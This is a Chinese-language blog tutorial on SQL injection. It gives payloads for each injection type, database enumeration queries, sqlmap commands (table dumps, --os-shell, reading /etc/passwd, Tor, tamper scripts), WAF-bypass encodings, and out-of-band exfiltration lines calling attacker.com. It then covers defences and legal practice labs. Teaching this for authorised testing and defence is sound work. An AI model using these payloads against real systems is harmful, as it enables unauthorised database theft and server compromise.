SQL 注入攻擊手法與實戰演練

前言

SQL 注入(SQL Injection)是網頁應用程式中最常見且最危險的安全漏洞之一。攻擊者可以透過在輸入欄位中插入惡意的 SQL 語句,來操縱後端資料庫,進而竊取敏感資料、繞過身份驗證,甚至完全控制資料庫伺服器。

本文將深入探討 SQL 注入的各種類型、手動測試技巧、自動化工具使用、繞過技巧以及防禦措施。


SQL 注入類型

1. In-Band SQL Injection(帶內注入)

這是最常見且最容易利用的 SQL 注入類型,攻擊者可以透過相同的通訊管道發送攻擊並接收結果。

Error-Based(錯誤型注入)

利用資料庫回傳的錯誤訊息來獲取資訊:

1
2
' OR 1=1 --
' UNION SELECT NULL, table_name FROM information_schema.tables --

Union-Based(聯合查詢注入)

利用 UNION 語句將惡意查詢結果與原始查詢結果合併:

1
2
' UNION SELECT username, password FROM users --
' UNION SELECT 1,2,3,4 --

2. Blind SQL Injection(盲注)

當應用程式不直接顯示錯誤訊息或查詢結果時使用。

Boolean-Based(布林型盲注)

透過觀察頁面回應的差異來判斷:

1
2
3
' AND 1=1 --  (頁面正常)
' AND 1=2 --  (頁面異常)
' AND SUBSTRING(username,1,1)='a' --

Time-Based(時間型盲注)

透過延遲回應時間來判斷:

1
2
3
' AND SLEEP(5) --
' AND IF(1=1, SLEEP(5), 0) --
'; WAITFOR DELAY '0:0:5' --  (MSSQL)

3. Out-of-Band SQL Injection(帶外注入)

當無法使用帶內通道時,透過 DNS 或 HTTP 請求將資料外洩:

1
2
'; EXEC master..xp_dirtree '\\attacker.com\share' --  (MSSQL)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\a')) --  (MySQL)

手動測試技巧

基本偵測

首先,測試輸入點是否存在 SQL 注入漏洞:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 單引號測試
'
''
"

# 註解測試
--
#
/**/

# 邏輯測試
' OR '1'='1
' OR '1'='1' --
" OR "1"="1
' AND '1'='1
' AND '1'='2

判斷資料庫類型

不同資料庫的語法特徵:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# MySQL
' AND @@version --
' AND version() --

# MSSQL
' AND @@version --
' AND db_name() --

# Oracle
' AND banner FROM v$version --
' AND (SELECT banner FROM v$version WHERE ROWNUM=1) --

# PostgreSQL
' AND version() --
' AND current_database() --

列舉資料庫結構

MySQL

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 取得所有資料庫
' UNION SELECT schema_name FROM information_schema.schemata --

# 取得所有資料表
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --

# 取得欄位名稱
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --

# 取得資料
' UNION SELECT CONCAT(username,':',password) FROM users --

確定欄位數量

1
2
3
4
5
6
7
8
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --  (持續增加直到出錯)

# 或使用 UNION
' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL --

SQLMap 工具使用

SQLMap 是一個強大的自動化 SQL 注入工具,可以自動偵測和利用 SQL 注入漏洞。

基本使用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 基本掃描
sqlmap -u "http://target.com/page.php?id=1"

# POST 請求
sqlmap -u "http://target.com/login.php" --data="username=admin&password=123"

# 指定 Cookie
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"

# 從 Burp 請求檔案
sqlmap -r request.txt

資訊收集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 取得資料庫列表
sqlmap -u "http://target.com/page.php?id=1" --dbs

# 取得資料表
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables

# 取得欄位
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns

# 取得資料
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump

進階選項

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# 指定資料庫類型
sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql

# 提升權限等級
sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3

# 使用 Tor 代理
sqlmap -u "http://target.com/page.php?id=1" --tor --check-tor

# 繞過 WAF
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,between

# 取得作業系統 Shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell

# 取得 SQL Shell
sqlmap -u "http://target.com/page.php?id=1" --sql-shell

# 讀取檔案
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"

常用 Tamper Script

1
2
3
4
5
6
7
# 常用的繞過腳本
--tamper=space2comment      # 空格轉換為註解
--tamper=between            # 用 BETWEEN 取代大於小於
--tamper=randomcase         # 隨機大小寫
--tamper=charencode         # URL 編碼
--tamper=space2plus         # 空格轉換為加號
--tamper=apostrophemask     # UTF-8 編碼單引號

繞過技巧

空格過濾繞過

1
2
3
4
5
6
7
8
9
# 使用註解
SELECT/**/username/**/FROM/**/users

# 使用 Tab 或換行
SELECT	username	FROM	users
SELECT%0ausername%0aFROM%0ausers

# 使用括號
SELECT(username)FROM(users)

引號過濾繞過

1
2
3
4
5
# 使用十六進位
SELECT * FROM users WHERE username=0x61646d696e

# 使用 CHAR 函數
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)

關鍵字過濾繞過

1
2
3
4
5
6
7
8
9
# 大小寫混合
SeLeCt * FrOm users

# 雙寫繞過(當過濾器只刪除一次時)
SELSELECTECT * FROM users

# 使用等效函數
MID() 取代 SUBSTRING()
IFNULL() 取代 IF()

註解過濾繞過

1
2
3
4
5
6
7
8
# 使用內聯註解(MySQL
SELECT /*!50000username*/ FROM users

# 使用不同註解符號
--
#
/**/
;%00

WAF 繞過

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# HPPHTTP 參數污染)
?id=1&id=' OR '1'='1

# 編碼繞過
URL 編碼:%27%20OR%20%271%27%3D%271
雙重 URL 編碼:%2527%2520OR%2520%25271%2527%253D%25271
Unicode 編碼:%u0027%u0020OR%u0020%u00271%u0027%u003D%u00271

# 緩衝區溢位(部分 WAF
?id=1 AND 'aaaa...(大量 a)...aaaa'='aaaa...aaaa'

防禦措施

1. 參數化查詢(Prepared Statements)

最有效的防禦方式,將 SQL 語句與資料分離:

PHP (PDO)

1
2
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute(['username' => $username, 'password' => $password]);

Python

1
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

Java

1
2
3
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);

2. 輸入驗證

1
2
3
4
5
6
7
8
9
// 白名單驗證
$allowed_sort = ['name', 'date', 'id'];
if (!in_array($sort_column, $allowed_sort)) {
    $sort_column = 'id';
}

// 類型驗證
$id = intval($_GET['id']);
$id = filter_var($_GET['id'], FILTER_VALIDATE_INT);

3. 輸出編碼

1
2
3
// 防止錯誤訊息洩露敏感資訊
ini_set('display_errors', 0);
error_reporting(0);

4. 最小權限原則

1
2
3
4
5
-- 建立專用的應用程式帳號
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON app_database.* TO 'webapp'@'localhost';

-- 避免使用 root 帳號連接資料庫

5. 使用 ORM

使用 ORM(如 Django ORM、SQLAlchemy、Eloquent)可以大幅降低 SQL 注入風險:

1
2
# Django ORM
users = User.objects.filter(username=username, password=password)

6. Web 應用程式防火牆(WAF)

部署 WAF 作為額外的防護層,但不應作為唯一的防禦手段:

  • ModSecurity
  • Cloudflare WAF
  • AWS WAF

實戰演練平台

以下是一些練習 SQL 注入的合法平台:

  1. DVWA (Damn Vulnerable Web Application)

    • 適合初學者的漏洞練習平台
  2. SQLi-labs

    • 專門練習 SQL 注入的實驗環境
  3. HackTheBox

    • 線上滲透測試練習平台
  4. PortSwigger Web Security Academy

    • 提供詳細的 SQL 注入教學和實驗
  5. OWASP WebGoat

    • OWASP 官方的網頁安全練習平台

總結

SQL 注入攻擊至今仍是網頁應用程式面臨的主要威脅之一。作為滲透測試人員,了解各種注入技術和繞過方法是必備技能;作為開發者,採用參數化查詢和適當的輸入驗證是防禦的基礎。

記住,在進行任何安全測試之前,務必取得合法授權。未經授權的測試行為可能觸犯法律。


參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy